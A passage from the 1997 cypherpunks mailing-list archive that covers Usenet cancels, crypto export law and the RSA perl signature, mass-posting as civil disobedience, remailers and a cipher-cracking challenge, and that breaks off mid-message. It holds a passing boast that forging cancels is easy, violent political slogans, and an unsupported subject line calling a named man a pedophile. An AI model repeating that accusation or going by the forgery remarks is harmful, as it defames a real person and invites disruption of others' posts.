From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 17 May 1997 06:41:49 +0800
To: dlv@bwalk.dm.com
Subject: Re: eternity-lite & cancel msgs
In-Reply-To: <u92s7D1w165w@bwalk.dm.com>
Message-ID: <199705162205.XAA01076@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri Vulis <dlv@bwalk.dm.com> writes:
> Adam Back <aba@dcs.ex.ac.uk> writes:
> 
> > One issue with the system is that censors will issue cancel messages
> > for the articles.  Not too much which can be done about this.  Some
> > trends tend to help this problem:
> 
> The vast majority of cancels in the "control" newsgroup are the so-called
> "third party cancels" (a.k.a. forgeries).
> 
> In the U.S. many major ISPs like America Online and Earthlink are ignoring
> cancels outright.  It's easy - start the latest version of INN with the
> -C flag, or apply Dave Hayes's patches [...]
> 
> Forging cancels is easy -- see the cancelbot I posted last year.

Seems your cancel bot has been a net boon to freedom of speech,
encouraging cancel message abuse which in turn leads to the natural
solution of removing the ability to cancel other peoples articles.
Perhaps your intention :-)

Perhaps a content aware version would improve on your content blind
one, making it easy for censorous persons to make more of a nuisance
of themselves without having to have enough of a clue to figure it out
for themselves.  Perhaps a slick windows interface is in order :-)
Select your prejudices from this pick list.  Just to help accelerate
the move away from honoring cancel requests.

> > Another aspect of the system is that it relies on news archival
> > services such as dejanews and altavista; these presumably don't listen
> > to cancel messages for already archived data (? guessing here).
>
> Correct: none of the 3 major archival services (dejanews, altavista,
> reference.com) delte articles based on cancel or supersedes once they
> receive them.
> 
> However an author can explicitly ask dejanews to delete his articles.
> 
> All 3 now don't archive articles that say 'X-No-Archive: yes'.

Does this imply that you are aware of precedents where the search
engines maintainers have removed articles on email requests after the
article was initially posting without X-No-Archive: yes?  Or were you
just refering to the X-No-Archive mechanism?

A bad precedent to act on instructions of someone purporting to be the
author requesting deletion.  Opens the way for someone to socially
engineer deletion of articles they wish to censor if this is so.  Also
opens the way for the author to be coerced into removing the article.

As an aside I think X-No-Archive is a stupid idea.  If you don't want
a post released for anyone to save for later reading, don't post it.
If you are concerned about the correlation of your net posts with your
physical identity, post using a remailer, or nymserver.

In fact I'd encourage anyone with the hardware to spare to offer an
X-No-Archive ignoring search engine.  Move it off-shore if you get
hassled.  Perhaps an X-No-Archive: yes only archive would be the best
way.  (ie only archive stuff which is specifically marked as not for
archive, that should give pretty low bandwidth requirements and make
the point).

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 17 May 1997 12:38:53 +0800
To: cypherpunks@toad.com
Subject: Re: Civil Disobediance
In-Reply-To: <199705170233.EAA19183@basement.replay.com>
Message-ID: <199705170412.XAA30089@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199705170233.EAA19183@basement.replay.com>, on 05/16/97 at 08:33 PM,
   nobody@REPLAY.COM (Anonymous) said:


>On Fri, 16 May 1997, Tim May wrote, in his ever-growing .sig:

>> Only one response to the key grabbers is warranted: "Death to Tyrants!"

>Bah.  Here are two better ones:

>1) "See you in court."

Does little good when the courts hold the constitution with the same
disdain as do the rest of the polititions.

>2) "You will get yours on election day.  Watch me write this check to your
>opponent."

Not much point whe the "opponent" is just as much of a fasists.

Such "standard" methods only work if we have funtioning checks and balances
in our government. This we currently do not. All 3 branches hold the
constitution in utter contempt and the only debate is how best to abolish
what is left without disturbing the sheep.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: This marks Logical End-Of-Message. Physical EOM follows

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM30+0Y9Co1n+aLhhAQFwGgP/dsBHHSN8Y7DqrfhcqXR3ajIieCylQE8Q
Ur/gi13ohRJSUFLMDflUJAeRDmHUN3LMX80N6/4zAKqJj17V3Tzs+F3Pr2+Kouxg
yslA+Iaf2CwgWisW1s5F5o+3rvymUKXirhm2E8PKkf6qpicluwrIF8UQdtpsHGpI
cZ3g1Jd9HIc=
=V+qB
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 17 May 1997 11:27:27 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Just Say "No" to Congress
In-Reply-To: <199705160128.SAA03463@netcom17.netcom.com>
Message-ID: <Pine.SUN.3.91.970516230840.24291E-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 15 May 1997, Vladimir Z. Nuri wrote:

> anyone who disbelieves in the authority of the US government
> yet sends them their tax money is a hypocrite.

You seem to be misinformed.  You don't send your money to Uncle Sam.  It 
gets taken out of every pay check before you even see it.   Then, come 
April 15, you fill a piece of paper out with the hope you'll get some of 
it back.  But sometimes, Uncle Sam takes even more.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 17 May 1997 06:31:30 +0800
To: junger@upaya.multiverse.com
Subject: Re: Civil Disobediance
In-Reply-To: <199705161509.LAA07342@upaya.multiverse.com>
Message-ID: <199705162218.XAA01127@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Peter Junger <junger@upaya.multiverse.com> writes:
> Adam Back writes:
> : [rsa sig/t-shirt]
> : 
> : While it's probably technically illegal to export, it clearly doesn't
> : get you in trouble to export it.  Raph Levien sent off a Commodity
> : Jurisdiction Request together with a sample T-shirt to ask permission
> : to export the T-shirt under the ITAR regulations.  They did not answer
> : his request.  I presume that they viewed either a "yes" or a "no" as a
> : loose for them.  If they say no, they open themselves for mockery in
> : the press, if they say yes, we progress the situation.  Export on
> : paper?  Floppy?  Internet?  Bigger programs.
> 
> Under the new Commerce Department export regulations it appears that
> encryption software printed as hard copy---and I think that T-shirts
> are hard enough for this purpose---can be freely exported.  But
> the same material in electronic form may not be exported or placed on
> a web site without a license.  So the T-shirts are now OK, but under
> the EAR it is still an offense to send the code in a sigfile to an
> international e-mail list.

This is interesting.

It seems that this set up provides a potential test case similar to
Phil Karn's one with the source code disks for Applied Cryptography,
only much smaller, and much more silly looking, which I think would be
a boon because the US government would have more difficulty defending
the ban on export of something which would take 30 seconds to type in.

The response to Phil's request to export the disks detailed that there
was significant value added in the text having been OCRed/typed in and
neatly arranged in files on a floppy.

The .sig is also a few seconds to scan with a bar code reader.  Bar
codes are also interesting in this context, they are machine readable,
and the 2D bar codes allow reasonable information density on a sheet
of A4.  Vince has a 2D barcode gif of the .sig on his Arms Trafficker
page.

If the perl rsa .sig were to be given permission to be exported in
electronic form, over the years since the original RSA sig I have
accumulated a collection of programs some donated by others, and a
couple more myself.  There is a good selection: IDEA, OTP, RC4, RC5,
DES, Diffie-Hellman.  Someone did an RSA keygen a while back.  These
vary in size and usefullness.  It would be relatively easy to create
something sufficiently functional and yet dangerous in a reasonably
few lines.  Full PGP compatible encrypt, signature check, and decrypt
looks doable in under 2000 chars or so, easily 1 A4 page of text, or
2D barcode.

> It is possible that the application for permission to export the
> T-shirt may have influenced this result.

That would be cool if accurate :-)

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 17 May 1997 14:56:46 +0800
To: cypherpunks@toad.com
Subject: Lucky's explaination...
Message-ID: <199705170629.XAA22759@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote:
> At 11:39 PM 5/15/97 CST, TruthMonger wrote:
> >Tim May wrote:
> >> Further, a clever little fix is to make one's own remailer site a link in
> >> the chain. All a snooping subset of remailers can do is trace the message
> >> back to your own remailers. Obviously, they can't know if the message was
> >> merely _remailed_ through your site, or _originated_ there. Thus, including
> >> oneself as a remailer also provides excellent plausible deniability.)

> >  This is a lame idea with no merit whatsoever.
 
> Since Tim's statement describes today's standard practice for increasing
> security for one's remailed messages, perhaps TruthMonger would like to
> explain why it has no merit. But then again, TruthMonger = Infowar. Guess
> we won't see an explanation that has merit.

  If you had read the header of the message, then you would have seen
the explaination.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 17 May 1997 14:57:41 +0800
To: cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
Message-ID: <199705170629.XAA22763@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Duncan Frissell wrote:
> For the actual numbers of the major government murders see
> 
> http://www.laissezfaire.org/pl6300.html
> 
> DEATH BY GOVERNMENT
> by R.J. Rummel
> (Transaction Books, 1994)
 
> I. Background Over 133,147,000 Murdered: Pre-Twentieth-Century Democide, 45.
> II. 128,168,000 Victims: The DekaMegaMurderers
> III. 19,178,000 Victims: The Lesser MegaMurderers
> IV 4,145,000 Victims: The Suspected MegaMurderers

Duncan,
  You have to keep in mind that these deaths were all necessary 
in order to curtail drug dealing and pornography. (Although it
gave rise to a sharp increase in necrophilia.)

  I read a passage of a book long ago in which a historian recounted
a number of different fallen dictators known for bloody purges who
reminesced that if they had controlled their moments of "softness"
(translate~~killed more of the right people) that they would still
be in power.
  I wonder if Hitler's final words were, "Well, they won't have
Adolf Hitler to kick around, anymore."

DeathMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 17 May 1997 23:37:33 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The Interlinked Cypherpunks Lists? (fwd)
In-Reply-To: <199705140034.TAA23384@einstein.ssz.com>
Message-ID: <3.0.1.32.19970517022756.005b2608@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:50 PM 5/13/97 -0800, Tim May wrote:
>Instead, imagine this "service":
>- a distribution point (= list) which subscribes to all of the various
>lists (cyberpass, algebra, ssz, etc.)
>- it sends out to subscribers the first instance of any message it receives
>- duplicates (see discussion below) would not be sent
>- it would, ideally, be on a robust machine

As a filtering service, it would be great, though most of the duplicates
I see are articles posted on one or more of (cypherpunks, coderpunks,
cryptography), and I'd see a few more dups if I read alt.cypherpunks
regularly.

On the other hand, one of the reasons we have multiple list servers
is to reduce the risk of a single cypherpunks list site dying again
(as well as just the effect of several people volunteering at once.)
A filter site is a single point of failure, though it's a less serious
failure if there are still multiple lists feeding it.
If the filter can set the headers appropriately so that the
author and originating-list information still works, 
then it matters even less if it goes down.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 17 May 1997 16:27:44 +0800
To: cypherpunks@toad.com
Subject: Re: Just Say "No" to Congress
Message-ID: <199705170719.DAA12927@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Vladimir Z. Nuri wrote:

> >> anyone who disbelieves in the authority of the US government
> >> yet sends them their tax money is a hypocrite.
> >
> >  Horseshit. That's no different from saying that anyone who
> >disbelieves in the authority of armed robbers yet gives them
> >their wallet is a hypocrite.
> >  Do you actually put any thought into your posts?
> >
> 
> ok truthmonger, after someone has stolen your money, do you
> report it to the police, or do you just sit around and
> curse the evildoer? what is your response when your money
> is stolen?

  I kiss it goodbye and forget about it.
  The police are too busy pursing imaginary crime to bother with
real crime.

  I caught a kid breaking into my camper by the Rose Garden in 
Berkeley. I handcuffed him to the bumper and gave him the option
of my calling his mother or the police. When the Berkeley police
cruised by I explained the situation and they had no problem with
it, but I got a pile of shit from various Berkeley bleeding-hearts
while we waited for his mother.
  I would have turned the kid loose before turning him over to the
police, since I regarded him as a lesser criminal than many of
them. I've lost a few thousand dollars worth of goods to thieves,
but criminal cops have cost me tens of thousands of dollars in
the legal system.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 17 May 1997 10:55:45 +0800
To: cypherpunks@toad.com
Subject: Re: Civil Disobediance
In-Reply-To: <v03007802afa2927b2003@[207.167.93.63]>
Message-ID: <199705170233.EAA19183@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 16 May 1997, Tim May wrote, in his ever-growing .sig:

> Only one response to the key grabbers is warranted: "Death to Tyrants!"

Bah.  Here are two better ones:

1) "See you in court."

2) "You will get yours on election day.  Watch me write this check to your
opponent."


A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law | "Cyberspace" is not a place.
U. Miami School of Law     | 
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's hot here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 17 May 1997 23:27:23 +0800
To: cypherpunks@toad.com
Subject: CC fingerprints
Message-ID: <199705170904.FAA29705@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

http://cnn.com/TECH/9705/16/t_t/magnetic.security/index.html

Catching counterfeit credit cards

Researchers find way to check magnetic 'fingerprints'

ST. LOUIS, Missouri (CNN) -- Researchers at Washington University here have 
come up with a way to spot counterfeit credit cards by detecting the unique 
"fingerprint" on the back of each card. 

<snip>

Their solution, called the Magneprint system, reads the millions of tiny 
magnetic particles, which are unique on each card, says Professor Ronald 
Indeck. 
Each magnetic stripe on the card has two important areas. The first looks 
like a bar code, which contains the account number. The rest is a random 
pattern of magnetic information -- a signature that is different on every 
card and impossible to duplicate, Indeck says.

<snip>

The inventors say the Magneprint system can be used to stop other kinds of 
fraud, involving airline tickets, currency, and checks.
It's expected to be made available to card companies later this year.

========================================================================== 


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FbcpDJ0KCQtTlY1ViGHI60XqFFFWXUQ/pTZgXF8bVeOsIzOkicU0Ug==
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Sat, 17 May 1997 23:38:53 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Civil Disobediance
Message-ID: <199705171253.FAA02681@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 15 May 1997, Adam Back wrote:
>Dr Roberts writes:
>> Perhaps there is a way to turn the training on the trainers?  Civil
>> disobediance is the best way to do this.  Were a relatively small
>> number of people, a thousand for instance, to post the "RSA in 3
>> lines" code to the world, it would be highly unlikely that anybody
>> at all would be prosecuted,

> Many 1000s of people have exported it.

This was a step in the right direction.  The response of the USG has
been to pretend it isn't happening.

However, if 1000 people announced publically and openly that on a
certain date they were all going to post it to this and similar lists,
it would have a strong political impact, particularly if followed
regularly by longer works of mathematics.  Of course, if the "RSA in 3
lines" posting is considered a done deal, it may be time to move on to
longer postings.

The fact is the USG has been reluctant to make any overt moves.
Instead, they have tried to quietly put in "the crypto fix" without
making too many waves.  Over and over again we have seen their lack of
confidence in their ability to get away with making some math illegal.
It may be the case that a number of mass postings of mathematics,
which anybody can look at and see to be harmless, is all that it will
take to finish off the whole ridiculous scheme.

Simple ridicule has its value, but what I intend is the use of
organized civil disobediance as a political action, and one which is
almost impossible for thugs to respond to, particularly in time of
peace.  The nice thing about this form of civil disobediance is that
it occurs on the Net in the most public way so that it will be very
difficult for the newspapers to misrepresent what is going on.

> Well, it does seem to me at times that people in the US are being
> too timid about the whole situation.  I mean if everyone just openly
> ignored the stupid laws, you might think they would go away by
> default, just to catch up with reality.

Ironically, the very people who lay awake at night worrying about
whether factoring is hard are the least likely to take risks!

> Much hand-wringing is spent putting no-export warnings on code,
> obfuscating the download process to discourage non-US people, and
> warning others not to export.

Nobody wants to be the first one to cross the line and be arrested.
Fortunately, posting is easy and anybody can participate.  Nobody has
to be (in any meaningful way) the first to go.

There is simply no way that the government will be able to lock up
1000s of professors, grad students, businessmen, programmers, or
politicians for sharing mathematics when in the consensual
hallucination we call the news, the country is being overrun by
violent criminals.

Maybe July 4 would be a good date?

Dr. Roberts





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Sat, 17 May 1997 23:33:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Civil Disobediance
Message-ID: <199705171254.FAA02714@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 16 May 1997, tzeruch@ceddec.com wrote:
> On Thu, 15 May 1997, Huge Cajones Remailer wrote:
>> "All that matters is how we die: shall we offer our bodies
>> helplessly, like cattle, to the knife, or, refusing passively to
>> await the end shall we turn the strength of our anger to one last
>> battle, til, daring and doing, we fall, drenched with their blood,
>> amongst the heaped bodies and weapons of our dying enemies?"  --
>> Livy Book XXV
>
> They couldn't move with their wealth out of the way, so the
> alternatives were limited.

The passage above appears in the discussion of the betrayal to the
Carthaginians of the Roman commander Gracchus by his "friend" Flavus
Gracchus makes this declaration to his men before they fought their
enemies to the death.

The protection of personal wealth was only weakly connected with the
events described.

Dr. Roberts





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sat, 17 May 1997 23:45:32 +0800
To: cypherpunks@toad.com
Subject: Re: Civil Disobediance
In-Reply-To: <v03007802afa2927b2003@[207.167.93.63]>
Message-ID: <3.0.1.32.19970517075902.00ad43e0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 04:33 AM 5/17/97 +0200, A. Michael Froomkin wrote:
>On Fri, 16 May 1997, Tim May wrote, in his ever-growing .sig:
>
>> Only one response to the key grabbers is warranted: "Death to Tyrants!"
>
>Bah.  Here are two better ones:
>
>1) "See you in court."
>
>2) "You will get yours on election day.  Watch me write this check to your
>opponent."

You forgot the Jim Ray solution:

3) "Watch me run against you in the next election and make you look like a
fool."

or the amnesiac solution:

4) "Damn! I forgot my passphrase again!"

or the surealist solution:

5) "What colour do you think my keys should be?  Can I hang them around this
burning giraffe?"

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Version: 4.5

iQEVAwUBM33HpuQCP3v30CeZAQExOgf9E6d6x986RizMjqNfF0sZ3vDxyorv5AQg
P0m7lX7BedelgHelLTSfSqzli9dgKQPJ/1bB/zqABVZ+MJkWLO8zTrGjtIc733Ok
z1cQ32p3yXf4B64RED4Pr2GFwqWXMgwWRiFNh2NV3SAjoOgxaED1jhkgNnI3hTWq
0ND3V1/n/YwW0THndXtvul0Y50Iq69VVfHAYXAx2+gw1sviqt/dkcEmxJmFc4OCA
YsmZXhmcVOCqRhQr++lWsj/0CY7XgL9kpY1Wj0UGMAraVpJTEO2Q6HoDC8Mcr6RU
Ken7+ANB6d5MnYTbitAscHAObdeRivum5se/BcZysn1AZ9vP7CDfYQ==
=lIHr
-----END PGP SIGNATURE-----

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 17 May 1997 23:49:38 +0800
To: cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <199705170629.XAA22763@fat.doobie.com>
Message-ID: <BwLu7D10w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


nobody@huge.cajones.com (Huge Cajones Remailer) writes:
> > I. Background Over 133,147,000 Murdered: Pre-Twentieth-Century Democide, 45
> > II. 128,168,000 Victims: The DekaMegaMurderers
> > III. 19,178,000 Victims: The Lesser MegaMurderers
> > IV 4,145,000 Victims: The Suspected MegaMurderers
...
>   I read a passage of a book long ago in which a historian recounted
> a number of different fallen dictators known for bloody purges who
> reminesced that if they had controlled their moments of "softness"
> (translate~~killed more of the right people) that they would still
> be in power.

This reminds me how I used to be consulting for a publisher, and came
across an MS (which never got published) written by some Mongol about
the history of Mongol conquests. It had a passage to the effect that,
"X-khan should have put down this rebellion and killed a million
people, like his predecessors would have. But he was soft, and this
caused the empire to collapse."

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 17 May 1997 23:42:32 +0800
To: cypherpunks@toad.com
Subject: Re: Martin Hannigan Pervert Pedophile
In-Reply-To: <Pine.BSI.3.96.970517075555.6341E-100000@shell.thecia.net>
Message-ID: <35Pu7D12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


kibo <kibo@thecia.net> writes:
...
> > > That's not as misguided as it seems. Common carriers are regulated
> > > heavily, and many ISPs don't generally seek that regulation.
> > >
>
> That is a telephone type of "common carrier."  but anybody with a
> "common carrier status" is not going to get regulated.  All it means
> is a hands-off approach to users postings.
>
> Even for a death threat, I will not terminate any user, because
> the law is not mine to enforce.  And this "copyright" shit is the
> same argument.  SPA needs to be attacked and undermined.

The ISP cannot determine that a particular patterns of 1's and 0's
constitutes a "death threat" and/or a "copyright violation".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sun, 18 May 1997 09:00:50 +0800
To: cypherpunks@algebra.com
Subject: dhp.com is blocked by CyberSitter
Message-ID: <3.0.2.32.19970517113604.03d96100@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


A note for those of you who use dhp.com.

dhp.com is on the blocked list for CyberSitter.

Don't bother complaining to Brian Milburn (pres. of solid oak, makers of
CyberSitter) about it.  He is notorious for throwing temper tantrums at
anyone questioning his judgement.

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sun, 18 May 1997 09:03:09 +0800
To: cypherpunks@algebra.com
Subject: PGP 5.0 beta is out at PGP.com
Message-ID: <3.0.2.32.19970517113906.03d96c30@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The pgp 5.0 beta is out. It is for Win95/NT 4.0 only.  PGPKeys.exe pukes its 
guts out when run.  (At least on my machine.)

It looks like they have hired a new graphics artist.  The splash page looks 
interesting.  Nice if the rest would run...

-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQEUAwUBM337SeQCP3v30CeZAQHrIwf3bwkNKXwDPb5R2qLMneIIWBTfYvwAGCQ6
8xqd0BHSsD+7ZzF4u9iVZWV9sHN/62LxAo886FfDP7PtKG+JZrZCa+KOUj2Zw3qk
1wltug8/rylAoLHulXwFVfwWb001jMIsS5RYNqDLqyccVF2TWUbVKQEgH7EI9VJ3
EU8gZzHF61ok+bqacmV/r7ANoIdfFRvLZHm0iGo6Xm4xHz8lw2JzDWWvnhWnEquD
mf3XUaNRVYnI4/+kgs8fx5golMY3pPQrl6PR0XdvvLJITUhiqM3SVTDs9IL4hWAx
V7WWGPHaJZw6nVAl5LNbLK9puGFw0FMap1a6Ld+HnmRlxlgpr8B/
=gdHU
-----END PGP SIGNATURE-----

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 18 May 1997 09:07:49 +0800
To: cypherpunks@toad.com
Subject: A wee bit of Civil Disobedience
Message-ID: <199705171954.MAA17404@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Want to add a bit of mass civil disobedience to the Crypto movement?

Get alt.binaries.crypto created as a usenet news group.

Why has this not happened already?  This will make an even bigger mockery of the ITARs, the EARs, and the other silly regs throughout the world.

[BTW, for those of you who oppose "Careerpunks", consider this...  How can you throw your crypto-sabots if you cannot get close to the machinary of industry?]

Jarvis Pym
Mad Chemist of Kaos








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Sun, 18 May 1997 02:01:29 +0800
To: cypherpunks@toad.com
Subject: Re: http://www.dataet.com/public/source/vsacmv20/
Message-ID: <970517133710_517174890@emout09.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor,

In a message dated 97-05-17 01:04:54 EDT, you write:

<< Thank you VERY MUCH for releasing the source code. This shows that you are
 serious about your program and truly appreciate how important is the process
 of review as far as your credibility is concerned.
 
 I have downloaded your code and looked at it. Looks rather interesting
 (especially the part below). What I did not understand, however, is
 what is SetVal and how it works. Also, I was not clear how you set
 variables AE1, AE2, ..., AE10 and so on.
 
 As far as I understand, you use these variables to select the particular 
 encryption method. Do you normally select only one method on some random 
 basis or you use several passes?
 
 Also, some may be interested to look at this particular encryption
 method (I added some indentation and comments for readability). I believe
 that it is not particularly strong. >>

Hi. Thanks for taking a look at the source code. Actually, SetVal is just a
name used for many parameters of functions and procedures within VSACM. The
documentation of VSACM V2.0 describes what SetVal represents in each function
or procedure. Attached to this message is the help file of VSACM. As for the
AE1, AE2, etc. variables, they're set with the VSACMSetEnableTC1001,
VSACMSetEnableTC1002, etc. procedures. If you take a look at
VSACMProcessOperation function in LibUnit.pas and the Internal function in
IntUnit.pas, you'll notice how relatively uncomplex algorithm extensions are
combined to form a powerful algorithm. The procedure TC1001 (in StdUnit.pas)
you mentioned is basically a pseudo-random byte XORer. TC1001 is NEVER used
as the sole encryptor of a file. You'll also notice that, at a minimum,
single passes of TC1001, TC2005, TC1005, TC3001, TC3004, and TC3005 are used
to encrypt/decrypt a file. No, an algorithm extension is not chosen randomly.
Some of the procedures are "scramblers". Others are "incrementors". Others
are "avalanchers". Again, it is best to analyze VSACM as a whole in a
systematical (chronological) manner instead of analyzing each procedure of
function in each source code file one by one. By the way, what do you think
of the key hashing procedure (VSACMSetKey) and the memory deallocation and
destruction procedure (VSACMInitialize) and the masking tables in
IntUnit.pas? Did you find any "backdoors" or ways to hack a decryption date
or time lock applied to a file without applying the correct key? (There
aren't any). How about any flaws?

Also, for others who may be reading this, if you still think VSA2048 is still
a "flawed" or "crappy" or "sucky" or "snake-oiled" encryption algorithm, why
don't you PROVE it by cracking the file located at
http://www.dataet.com/public/source/vsacmv20/breakit.dat (if you are in the
U.S.)?!?! (All words, no action!!!) Well? The file was encrypted using a
120-bit VSA2048 key. The key isn't even 128 bits in length! I don't know
about you, but I would think VSA2048 is pretty good if not even one
cypherpunk out there can decrypt the message. As for my previous line about
the decryption contest being limited to the cypherpunks (@toad.com), I have
changed my mind. The contest is open to any person (in the United States). I
will post contest details to cypherpunks@toad.com again.

I appreciate the comments. Thanks.

Regards,

Jeremy Yu-Ramos
DataET Research





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Sun, 18 May 1997 02:15:43 +0800
To: ichudov@algebra.com
Subject: Re: http://www.dataet.com/public/source/vsacmv20/
Message-ID: <970517134822_-1029781424@emout15.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


In a message dated 97-05-17 13:37:36 EDT, you write:

<< why don't you PROVE it by cracking the file located at
